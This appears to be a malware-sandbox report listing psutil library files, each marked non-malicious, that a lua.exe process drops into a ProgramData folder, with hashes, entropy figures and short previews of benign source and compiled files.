k...r.d!Z-e-d"7.Z-e-d#7.Z-e.e-....n...W.d.d.Z([(X.Y.n.X.e.j/d$k...r.d.d.l0Z0n.d.Z0d%d&d'd(d)dd+d,d-d.d/d0d1d2g.Z1d3Z2d4Z3d5e.j4k.Z5e0d.k...rLd6Z6n.e0.7d7d2d6i...Z8e8j6Z6e&j9e.j:e&j;e.j<e&j=e.j>e&j?e.j@e&jAe.jBe&jCe.jDe&jEe.jFe&jGe.jHe&jIe.jJe&jKe.jLe&jMe.jNe&jOe2e&jPe.jQi.ZRe0d.k...r.G.d8d9..d9e0j7..ZSeT...UeSjV....e0d.k...r.d.ZWd.ZXd:ZYd;ZZn G.d<d=..d=e0j7..Z[eT...Ue[jV....e\d.d.d:d;d>d?d d@dAdBdCdDdEdFdGdHdIdJdKdLdMdNdO..Z]e.dPdQdRdSdTdUg...Z^e.dVdWdXdYdZd[g...Z_e.d\d]d^d_d`dadbdcdddedfdgdhg...Z`e.die`jadj....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\_common.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	26218
Entropy (8bit):	4.899727091344053
Encrypted:	false
SSDEEP:	384:+REVwhqTFGFFvW4Iasj8c9eYaPrPNg0nh5PAJQN51aD:Li+FGDdsoc9eYgK0nh5ocaD
MD5:	3F9C08B651BA10B38523056BB759DF97
SHA1:	E2FA44CFECF3584A520D30F92AAED5DD5BC1557D
SHA-256:	21E8FDB9AD3F1F873E96098AC77C415831D13FE3DBE2CCD4F9035BF1C37A77C3
SHA-512:	14BE301347DA84FE06C1BA831DCEDBAF4C0EC17068F278F21502FB833769D51B542D18468D3576166044343510F74FFEA6E426022840A6E6D089C7088105F096
Malicious:	false
Preview:	# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file..."""Common objects shared by __init__.py and _ps*.py modules."""..# Note: this module is imported by setup.py so it should not import.# psutil or third-party modules...from __future__ import division, print_function..import contextlib.import errno.import functools.import os.import socket.import stat.import sys.import threading.import warnings.from collections import defaultdict.from collections import namedtuple.from socket import AF_INET.from socket import SOCK_DGRAM.from socket import SOCK_STREAM..try:. from socket import AF_INET6.except ImportError:. AF_INET6 = None.try:. from socket import AF_UNIX.except ImportError:. AF_UNIX = None..if sys.version_info >= (3, 4):. import enum.else:. enum = None...# can't take it from _common.py as this script is imported by setup.py.PY3 = sys.version_info[0] == 3..__al

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\_compat.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	14474
Entropy (8bit):	4.156744254553528
Encrypted:	false
SSDEEP:	192:+6q1+GEjkckdyi4i2m8jS9B0l1FYVBXLlX2SauTwB7GVY:+6q1+GKvAyi4i2mCCHJGWwx
MD5:	18815FAC376509E8788C9D10D657D6A5
SHA1:	C8DF6C23A7F33743FEE473D883C34119B23DD0E8
SHA-256:	C2219368B16A08D52B085BC57D15E9E18DE09F9162AB32D41554C2A7A180DED6
SHA-512:	E4182721AE6E85F717E494A9DDCE7373EE9640A1FE1A0C5006078F5B2362A0702AD1198C370D1DE2A237E4A496CD30A0EAB4EAB0DAF734559CBD758EB9AB7FEC
Malicious:	false
Preview:	# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file..."""Module which provides compatibility with older Python versions..This is more future-compatible rather than the opposite (prefer latest.Python 3 way of doing things).."""..import collections.import errno.import functools.import os.import sys.import types..__all__ = [. # constants. "PY3",. # builtins. "long", "range", "super", "unicode", "basestring",. # literals. "u", "b",. # collections module. "lru_cache",. # shutil module. "which", "get_terminal_size",. # python 3 exceptions. "FileNotFoundError", "PermissionError", "ProcessLookupError",. "InterruptedError", "ChildProcessError", "FileExistsError"]...PY3 = sys.version_info[0] == 3._SENTINEL = object()..if PY3:. long = int. xrange = range. unicode = str. basestring = str. range = range.. def u(s):. return s..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\_psaix.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	18555
Entropy (8bit):	4.709382343574393
Encrypted:	false
SSDEEP:	384:th5A8Gm/rTnHccmXDtZVw24UO9tbl2Sd6SIoD:TG8HnnVmXBZVrO9r2ScdoD
MD5:	0BE9FADA0D95FD1B5F58E75ADDE47C81
SHA1:	F0616F74E5BB76A606DEF639834384084D9F0BB6
SHA-256:	D2D630CAC6D964E66C873879265AE6821EF26418FD98045D2A97C812D481D823
SHA-512:	3F6160719502C683C5C912F8A741B565C5AB6E321B09CD092B775B64FBF20CE66D4F146A1B03B04F048033ECA5ED31B067EAAC8F90730CDDBE6936C43F21E0EE
Malicious:	false
Preview:	# Copyright (c) 2009, Giampaolo Rodola'.# Copyright (c) 2017, Arnon Yaari.# All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file..."""AIX platform implementation."""..import functools.import glob.import os.import re.import subprocess.import sys.from collections import namedtuple..from . import _common.from . import _psposix.from . import _psutil_aix as cext.from . import _psutil_posix as cext_posix.from ._common import AccessDenied.from ._common import conn_to_ntuple.from ._common import get_procfs_path.from ._common import memoize_when_activated.from ._common import NIC_DUPLEX_FULL.from ._common import NIC_DUPLEX_HALF.from ._common import NIC_DUPLEX_UNKNOWN.from ._common import NoSuchProcess.from ._common import usage_percent.from ._common import ZombieProcess.from ._compat import FileNotFoundError.from ._compat import PermissionError.from ._compat import ProcessLookupError.from ._compat import PY3...__extra__all__ =

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\_psbsd.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	31069
Entropy (8bit):	4.617630291964673
Encrypted:	false
SSDEEP:	384:+dDbFyv+H6g/52hC/4ply4DY0iafC3+5mFv2bjljB2SvEdB0:IFa+r/52hUe8oY0763Fv2flj0S8dB0
MD5:	1F768CBAE6C1A8CB5FCBE5ACB1FCF8DA
SHA1:	8F37880E52E3936C69D4877F08098E4177719C26
SHA-256:	C1C89694B44D51FBA452395DF313BEE8CA4EE43D2AFB75B11506DE0BD38A9A5C
SHA-512:	EBF4F288679F607775E3506BD588E0394AC3C9D92E5BCA0311C189AA06545A1F2A4BB06A1252DB290EB89DE178B0C29A125F877AC1552025FC476AB3287CD94C
Malicious:	false
Preview:	# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file..."""FreeBSD, OpenBSD and NetBSD platforms implementation."""..import contextlib.import errno.import functools.import os.import xml.etree.ElementTree as ET.from collections import namedtuple.from collections import defaultdict..from . import _common.from . import _psposix.from . import _psutil_bsd as cext.from . import _psutil_posix as cext_posix.from ._common import AccessDenied.from ._common import conn_tmap.from ._common import conn_to_ntuple.from ._common import FREEBSD.from ._common import memoize.from ._common import memoize_when_activated.from ._common import NETBSD.from ._common import NoSuchProcess.from ._common import OPENBSD.from ._common import usage_percent.from ._common import ZombieProcess.from ._compat import FileNotFoundError.from ._compat import PermissionError.from ._compat import ProcessLookupError.from ._

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\_pslinux.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	82101
Entropy (8bit):	4.5686274825168365
Encrypted:	false
SSDEEP:	1536:MGOsMA20E6DoY9uoDK2xNxRMe7NL31D5mskTSETj:MGdDu34xae7NL31D5msGSETj
MD5:	0E7C233BFAAE6791933926E2D94E0A6C
SHA1:	C28E10FA5E37E810DF0757471BA1503185977D90
SHA-256:	E587D4FB39AC70B76AC6B9B8F35AB7FCF172AD8F33D224274478DB2E66349C9D
SHA-512:	732E34B410B3B6CEA1089444A40EF156865EB8B56B7DF00FF9C3513B215FD352CAAF8075A10B112CE289FDBB43077FF7EC44B61E7FF8ED74DBE653A8D3B4AE97
Malicious:	false
Preview:	# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file..."""Linux platform implementation."""..from __future__ import division..import base64.import collections.import errno.import functools.import glob.import os.import re.import socket.import struct.import sys.import traceback.import warnings.from collections import defaultdict.from collections import namedtuple..from . import _common.from . import _psposix.from . import _psutil_linux as cext.from . import _psutil_posix as cext_posix.from ._common import AccessDenied.from ._common import debug.from ._common import decode.from ._common import get_procfs_path.from ._common import isfile_strict.from ._common import memoize.from ._common import memoize_when_activated.from ._common import NIC_DUPLEX_FULL.from ._common import NIC_DUPLEX_HALF.from ._common import NIC_DUPLEX_UNKNOWN.from ._common import NoSuchProcess.from ._common impor

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\_psosx.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	17494
Entropy (8bit):	4.706407919416526
Encrypted:	false
SSDEEP:	384:+yZCYTSbL0/5khAKbGYvTbFJf28x1cAXFYclw2eIzi:ZYS6La5kLbGYXD8AXK+s
MD5:	FD32559F5170D3464246CE2BEC1CB8A2
SHA1:	EC7A5BC43601F10375AEADE38F4DEB25FA461D49
SHA-256:	48B53361ACD05CE748274C998E6F94AA50C5FA1247CBCC9A0D1E2C9630DE3027
SHA-512:	CD49D110563EF6940EC33FA0ECACEAE9E921EEFB3AE2CF00BCB0C7DD0CDF1D66D8C5757AC78230BAADF8D6C0C30672950BAAA1EB784247AC712B45DBDC0CAC10
Malicious:	false
Preview:	# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file..."""macOS platform implementation."""..import contextlib.import errno.import functools.import os.from collections import namedtuple..from . import _common.from . import _psposix.from . import _psutil_osx as cext.from . import _psutil_posix as cext_posix.from ._common import AccessDenied.from ._common import conn_tmap.from ._common import conn_to_ntuple.from ._common import isfile_strict.from ._common import memoize_when_activated.from ._common import NoSuchProcess.from ._common import parse_environ_block.from ._common import usage_percent.from ._common import ZombieProcess.from ._compat import PermissionError.from ._compat import ProcessLookupError...__extra__all__ = []...# =====================================================================.# --- globals.# ===================================================================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\_psposix.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8045
Entropy (8bit):	4.496633592085418
Encrypted:	false
SSDEEP:	192:+U7Uybl5bRQA783Gsaao0oUcAsHAf3nX/AGmvMijC0kf:+U1bldRQA7AaaFcAsHAvX/IMJT
MD5:	49E400A19D1EC6D926614B7ED3785AD6
SHA1:	11D51A486C58CCBCA8718DC6B2AA2E4E30B3CEB7
SHA-256:	21C5C94DD53AA2C4C9C23076B83A2108B9EE18F9790464180FABC3834B0E27C7
SHA-512:	DF4797DE57A2C9076517EBCE5B85DCACE5FA6CC73CA5E3346BFB4E3E084F2C49F53E872EB3731186A44591D592B8C668A3138C5620C7F3DC55C654D204FE58D9
Malicious:	false
Preview:	# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file..."""Routines common to all posix systems."""..import glob.import os.import signal.import sys.import time..from ._common import memoize.from ._common import sdiskusage.from ._common import TimeoutExpired.from ._common import usage_percent.from ._compat import ChildProcessError.from ._compat import FileNotFoundError.from ._compat import InterruptedError.from ._compat import PermissionError.from ._compat import ProcessLookupError.from ._compat import PY3.from ._compat import unicode..if sys.version_info >= (3, 4):. import enum.else:. enum = None...__all__ = ['pid_exists', 'wait_pid', 'disk_usage', 'get_terminal_map']...def pid_exists(pid):. """Check whether pid exists in the current process table.""". if pid == 0:. # According to "man 2 kill" PID 0 has a special meaning:. # it refers to <<every process

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\_pssunos.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	25495
Entropy (8bit):	4.620323280993993
Encrypted:	false
SSDEEP:	384:+SQRjb/vVLEhtbiVC2oBsAGJdvhP9ZbECRB7M0Q7PehIUfY6SWX:d6XvCXbiVC2yxGJdJPbr7APyIgd1X
MD5:	3213FEA0D5E545C48FCAEC5C850E9050
SHA1:	9849B6827D576594BD81B9750DC1F1FD34DB0EB2
SHA-256:	BB7C158529C12ED405B427E1343D6BC43D8A1D6078CCA68D22999E086E73E4C7
SHA-512:	1AA1E992F578558B1D99F35B186AE28FBED6A2A73D860633F256C5165CD5FBA1FE6CE5E06C3FA7C8F131120CEB861A4A0358D52075752B2DA101434350A5D86B
Malicious:	false
Preview:	# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file..."""Sun OS Solaris platform implementation."""..import errno.import functools.import os.import socket.import subprocess.import sys.from collections import namedtuple.from socket import AF_INET..from . import _common.from . import _psposix.from . import _psutil_posix as cext_posix.from . import _psutil_sunos as cext.from ._common import AccessDenied.from ._common import AF_INET6.from ._common import debug.from ._common import get_procfs_path.from ._common import isfile_strict.from ._common import memoize_when_activated.from ._common import NoSuchProcess.from ._common import sockfam_to_enum.from ._common import socktype_to_enum.from ._common import usage_percent.from ._common import ZombieProcess.from ._compat import b.from ._compat import FileNotFoundError.from ._compat import PermissionError.from ._compat import ProcessLooku

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\_psutil_windows.cp37-win_amd64.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	74240
Entropy (8bit):	5.973200696706857
Encrypted:	false
SSDEEP:	768:zMFNz0C/0FY9xXkeOKHy/GqAvpkPHIzKf4DDw5KSYcXvYX6YAwhf+8mXkoStZc1w:zyxXPJqHLOc5KbXazkomZcCNHVD84vZ
MD5:	EB2E7580F823B00576880CADA4526092
SHA1:	9195525A1E9CBAC344171DD5333F2DF0852C890F
SHA-256:	3EE35D8A42D5951C8498246AA6D302BBFFECEA65A2FCAA78A069011C6F543D59
SHA-512:	AAAEF52E15A61490D87C2C1E49713590B3BFB65229C4318FA51BEE92B9440E1FD546BFE8773440B559A55A9525F51ED2BFC9996FB4DE50476533DB3D6F284B77
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Iwe.Iwe.Iwe.@...Cwe.r)d.Kwe.r)f.Jwe.r)`.Bwe.r)a.Cwe...d.Kwe...d.Xwe.Iwd..we..)m.Ewe..)e.Hwe..)..Hwe..)g.Hwe.RichIwe.................PE..d...1P._.........." .........~............................................................`.............................................l.......@....`.......@..H............p......p................................................................................text............................... ..`.rdata...1.......2..................@..@.data....6.......0..................@....pdata..H....@......................@..@.gfids.......P......................@..@.rsrc........`......................@..@.reloc.......p....... ..............@..B................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\_pswindows.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	36841
Entropy (8bit):	4.742964482446417
Encrypted:	false
SSDEEP:	768:lZJWiOd41XPfTFobhjrmok135Rgcqx3r4cwItm6Qg:lZJWi+41XPLF7wdnhtF
MD5:	EDA393DF7596C2E58ACF6D6D9EFA505C
SHA1:	1E7B90375C14D22CF106DA61BDB25A80E7EABCB3
SHA-256:	2727DF1F1D0F991258FB81672F479EBCF766AE707B77DE80B95EA64EF51ABCF7
SHA-512:	6F4615D20859E4AF10036DE605E259FA489C1D0F40701CBAA3F5F128478B3B58617385264F216F836ED6198E0F65A65A90A9267152DD63A57AF4682A12B9D709
Malicious:	false
Preview:	# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file..."""Windows platform implementation."""..import contextlib.import errno.import functools.import os.import signal.import sys.import time.from collections import namedtuple..from . import _common.from ._common import AccessDenied.from ._common import conn_tmap.from ._common import conn_to_ntuple.from ._common import debug.from ._common import ENCODING.from ._common import ENCODING_ERRS.from ._common import isfile_strict.from ._common import memoize.from ._common import memoize_when_activated.from ._common import NoSuchProcess.from ._common import parse_environ_block.from ._common import TimeoutExpired.from ._common import usage_percent.from ._compat import long.from ._compat import lru_cache.from ._compat import PY3.from ._compat import range.from ._compat import unicode.from ._psutil_windows import ABOVE_NORMAL_PRIORITY_CLASS

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable
Category:	dropped
Size (bytes):	57568
Entropy (8bit):	4.733428825491887
Encrypted:	false
SSDEEP:	768:NYgP2iyeDtkB0vMJyFgs+L9zLFB4BijvB14VXoxnJInoDUpZGJlCB+SCQkTa1eYk:Nfus0htYdolSGJlCB+SCQkTaYYnCV
MD5:	23AC9370EC0E8052B04591E7B7D5E874
SHA1:	A854D1E7F72BDD55A6CA89367A19179F5FB22655
SHA-256:	E9214AFF381AFEA52724E9CA17A00859AB0A18863077A5D7A978372B12625F56
SHA-512:	238C7F666973403259FE4347E3E686B2ED5767FB92DF61E1E2CED963AB4FB6A012F7B69AF4CD2E5A50490AE948D7D988FF8F04B2CF0B596F2D17D2B5C4828E9E
Malicious:	false
Preview:	# -- coding: utf-8 --..# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file...""".Test utilities.."""..from __future__ import print_function.import atexit.import contextlib.import ctypes.import errno.import functools.import gc.import inspect.import os.import random.import re.import select.import shutil.import signal.import socket.import stat.import subprocess.import sys.import tempfile.import textwrap.import threading.import time.import warnings.from socket import AF_INET.from socket import AF_INET6.from socket import SOCK_STREAM..import psutil.from psutil import AIX.from psutil import FREEBSD.from psutil import LINUX.from psutil import MACOS.from psutil import POSIX.from psutil import SUNOS.from psutil import WINDOWS.from psutil._common import bytes2human.from psutil._common import print_color.from psutil._common import supports_ipv6.from psutil._compat import FileExistsErro

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\__main__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.90766919896918
Encrypted:	false
SSDEEP:	6:HWaHi32gLBKWg6ldMRyXk9BwE7KvfHHIXp6qv:HKXKWg6ldMwSwGx4U
MD5:	9F4243ED6FE2B594878F5368D163CF33
SHA1:	88221B1A8461604AB8284FBFD34D4A68AE880A52
SHA-256:	6C17CC3EEFE03F3CA203881F0054992E4ECBC8B48F4D4207405535905723FCE9
SHA-512:	5BB9F99CD9A834E92D5011377203760A2C7654CA7F90C0D87486A625213D95AD7C0BC81147069E723856AC596F2C7471C9918AF8AF88AA47DFB94F5F45DB8EB0
Malicious:	false
Preview:	#!/usr/bin/env python3..# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved..# Use of this source code is governed by a BSD-style license that can be.# found in the LICENSE file...""".Run unit tests. This is invoked by:.$ python -m psutil.tests."""..from .runner import main.main().

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\__pycache__\__init__.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	47171
Entropy (8bit):	5.54799512491024
Encrypted:	false
SSDEEP:	768:2BOvZvffgiiynb01MJiLTzDHgS63SV7BijYdUu1g3V53ukAiGmq93srbHsUE8NMs:G+0HzrW3SVc3UmSUdNz
MD5:	2B8EA96FA56875385287CD116A86CDA9
SHA1:	D644B1B865F7646D92564304CE00FB534C1ECEA9
SHA-256:	342E5EA23DDBA1CAB2809E9E4F7E01647C5B130AD66A170F25B1C92BA120DA0E
SHA-512:	229FEFF663DCEDA53960C9EA1544A49CD1ED8A0C74A3C9BDB7C87A2C46A1CAD69E9B0B6E6D0CE65F263F1082DCFAEBBD2E1C13D4283AA1FBF38F03480E180EB1
Malicious:	false
Preview:	B.........R`.................E...@...s....d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m Z ..d.d.l.m!Z!..d.d.l.m"Z"..d.d.l.m#Z#..d.d.l$m%Z%..d.d.l$m&Z&..d.d.l$m'Z'..d.d.l(m)Z)..d.d.l(mZ..d.d.l(m+Z+..d.d.l(m,Z,..d.d.l(m-Z-..d.d.l(m.Z...d.d.l(m/Z/..d.d.l(m0Z0..e+..r.d.d.l1Z1n.d.d.l2Z1y.d.d.l1m3Z3..W.n<..e4k...r(......e..5......e..6d.....d.d.l3Z3W.d.Q.R.X.Y.n.X.e.j7d.k...r@d.d.l8Z8n.d.Z8d.d.d.d.d d!d"d#d$d%d&d'd(d)d*d+d,d-d.d/d0d1d2d3d4d5d6d7d8d9d:d;d<d=d>d?d@dAdBdCdDdEdFdGdHdIdJdKdLdMdNdOdPdQdRdSdTdUdVdWdXdYdZd[d\d]d^d_d`gEZ9dae.j:k.Z;d.e.j<k.Z=dbe.j<k...p.dce.j<k.Z>e=..p.e>Z?e.j@ddk.ZAdeZBdfZCdgZDdhZEe?..rFeBdi9.ZBeEdi9.ZEeCdi9.ZCeDdi9.ZDe.jFdjk...r`dke..G....ZHn.dle..G....ZHe.dm..ZIe+..r.dn.Jdodp..ZKn.dqZKe..L...M..drk.ZNe.jO.Pe.jO.Qe.jO.ReS..dsds....ZTe.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\__pycache__\__main__.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	267
Entropy (8bit):	5.150797386568035
Encrypted:	false
SSDEEP:	6:/CElO/GBL5XkQL37KvfHHqbrW2/Q/caGArNotGm/O:aEc/GBNZvJW2/IaX/O
MD5:	7CF1BCB2C613A2A01D7F2A8509690F21
SHA1:	6CEA085F71AE988C26CF3B4797408523C7D75011
SHA-256:	2A4B595F7EE7157B27942EE854B68ABEF7CFEF99A10F315C5F2BE9B40201F6B7
SHA-512:	DD1E69792CFBD415CE799A1BC44146C622E6A81AB73A69DFDDC148436147FFA5D26FDBB0B41D3998C33901CED59093444E676C40FC26ED04D5691212443A2300
Malicious:	false
Preview:	B.........R`#....................@...s....d.Z.d.d.l.m.Z...e.....d.S.).z>.Run unit tests. This is invoked by:.$ python -m psutil.tests......)...mainN)...__doc__..runnerr......r....r.....:D:\python-3.7.3\Lib\site-packages\psutil/tests/__main__.py..<module>....s........

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\__pycache__\runner.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	10976
Entropy (8bit):	5.364945159020092
Encrypted:	false
SSDEEP:	192:tdrv+wXBPR7R81PbMsR51dtVI3PRdk/VnDd2Vw89DVFE0TSGJuHPpFrTPhw:tdrv+8X7RcDBHWCVDdO7RFE0T7uHPpBm
MD5:	3A915D457B8E9C38773D0B9392E23F4E
SHA1:	0F3CEB250685F30666306E068D9E93EE680879AB
SHA-256:	E6A8B7FC1F33C46A962ED2048DD39209EDC00065DAD58EA7168E452B04543C08
SHA-512:	56A7FFD5057E786EE84B841C4F21D5F41935D44DC06DB1AB53F16B6BB067A81CF00DAEB4D35C8A83F928B991B201AF264D9D8C1E8185467C2B4575F8DC793369
Malicious:	false
Preview:	B.........R`D,...................@...s....d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.y.d.d.l.Z.W.n...e.k.rl......d.Z.Y.n.X.y.d.d.l.Z.W.n...e.k.r.......d.Z.Y.n.X.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.Z.d.Z.e.......p.d.Z.e.....oe...Z.e.j.. e.j..!e"....Z#e.j$j%Z%d$d.d...Z&G.d.d...d...Z'G.d.d...d.e.j(..Z)G.d.d...d.e.j..Z+G.d.d...d.e+..Z,d%d.d...Z-d.d...Z.d.d ..Z/d!d"..Z0e1d#k...r.e0....d.S.)&aA....Unit test runner, providing new features on top of unittest module:.- colourized output.- parallel run (UNIX only).- print failures/tracebacks on CTRL+C.- re-run failed tests only (make test-failed)..Invocation examples:.- make test.- make test-failed..Parallel:.- make test-parallel.- make test-process ARGS=--parallel......)...print_functionN)...hilite)...print_color)...term_supports_colors)...super)...CI_TESTING)...import_module_by_path)...print_sysinfo)...reap_children)...safe_rmpath..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\__pycache__\test_aix.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	3336
Entropy (8bit):	5.567481387184133
Encrypted:	false
SSDEEP:	48:PVmiOsfb8oEkUbsoKORp5IsYhi0M9+pqtUW85P6p/2VQyfBEg+s5J2Us6DQckWoW:9mK9EvooKYyFU+A8cRSQypEy7ytcV3KA
MD5:	FF70E071C682A95F9D9740EE80036095
SHA1:	FDE16E65189DE6EA752665EB341703D350D9B76E
SHA-256:	F8C68E65BBB861CAEAC11AB537646C3F21071375583D5154B0B8ECB96986EA82
SHA-512:	66772A375F5F0F6C1A9B5A7C92ED529B704943FEC0DAAB91F9E352A4A7CAE78494909D9A42D052E793088A0DE9B104CE9EE994E12C9CDD15B8BB5219562CBCDF
Malicious:	false
Preview:	B.........R`.....................@...s....d.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.Z.e...e...d...G.d.d...d.e.....Z.e.d.k.r~d.d.l.m.Z...e.e.....d.S.).z.AIX specific tests......N)...AIX)...PsutilTestCase)...sh)...unittestz.AIX onlyc................@...s4...e.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...AIXSpecificTestCasec................C...s....t.d...}.d.}.x.d.....D.].}.\|.d.\|.f...7.}.q.W.t...\|.\|...}.\|...\|.d.....d.}.t.\|...d.....\|...}.t.\|...d.....\|...}.t.\|...d.....\|...}.t.\|...d.....\|...}.t.....}.d.\|...\|...}.\|...\|.j.\|.....\|.j.\|.j.\|.\|.d.....\|.j.\|.j.\|.\|.d.....\|.j.\|.j.\|.\|.d.....d.S.).Nz./usr/bin/svmon -O unit=KBz.memory\s*z+size inuse free pin virtual available mmodez.(?P<%s>\S+)\s+z(svmon command returned unexpected outputi......size..availableZ.inuse..free.....)...delta).r......split..re..search..assertIsNotNone..int..group..psutilZ.virtual_memory..assertEqual..total..assertAlmostEqual..usedr....r....)...self..out..re_pattern..field..matchobjZ.KBr....r....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\psutil\tests\__pycache__\test_bsd.cpython-37.pyc Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	data
Category:	dropped
Size (bytes):	19932
Entropy (8bit):	5.251581977642734
Encrypted:	false
SSDEEP:	384:M5XQWxoCXO10bypsOawX+b7EdDlH6ppMVINbXu116Z9hgWUHT0xK9:mXQ6oHat6DlH6ppMVINgUZ9hgWUHT0xw
MD5:	8061BA275E05D9AA821C36A59EBCD689
SHA1:	8B2243843953BE495305054929A36BA4A6D232B1
SHA-256:	30E1B4BE6EA3B353F764877D950DAC8C27F07F7D6FB3F84AD6CD008F381A66C4
SHA-512:	2C776A73BB1164ED508FD6C24A37612F11474E0578C22F8E17CA767DB9A7B2F04E5A4AA59F0B4D7022653E0C36B0A5DD9057146D0DF94B6F950DCE7298201AC6
Malicious:	false
Preview:	B.........R`.P...................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.r.d.d.l.m.Z...e...Z.e.....d.k.r.e.d...r.d.n.d.Z.n.d.Z.d.Z.d.d...Z.d.d...Z.e...e...d...G.d.d...d.e.....Z.e...e...d...G.d.d...d.e.....Z.e...e...d...G.d.d...d.e.....Z.e...e...d...G.d d!..d!e.....Z.e...e...d"..G.d#d$..d$e.....Z e!d%k...r.d.d&l"m#Z#..e#e$....d.S.)'z$Tests specific to all BSD platforms......N)...BSD)...FREEBSD)...NETBSD)...OPENBSD)...spawn_testproc)...HAS_BATTERY)...PsutilTestCase)...retry_on_failure)...sh)...TOLERANCE_SYS_MEM)...terminate)...unittest)...which)...getpagesize..museTFc................C...sh...t.d.\|.....}.t.r(\|.\|...d...d...d.....}.n.t.s0t.rF\|.\|...d...d...d.....}.y.t.\|...S...t.k.rb......\|.S.X.d.S.).zmExpects a sysctl command with an argument and parse the result. returning only the value of interest.. z.sysctl z.: ..

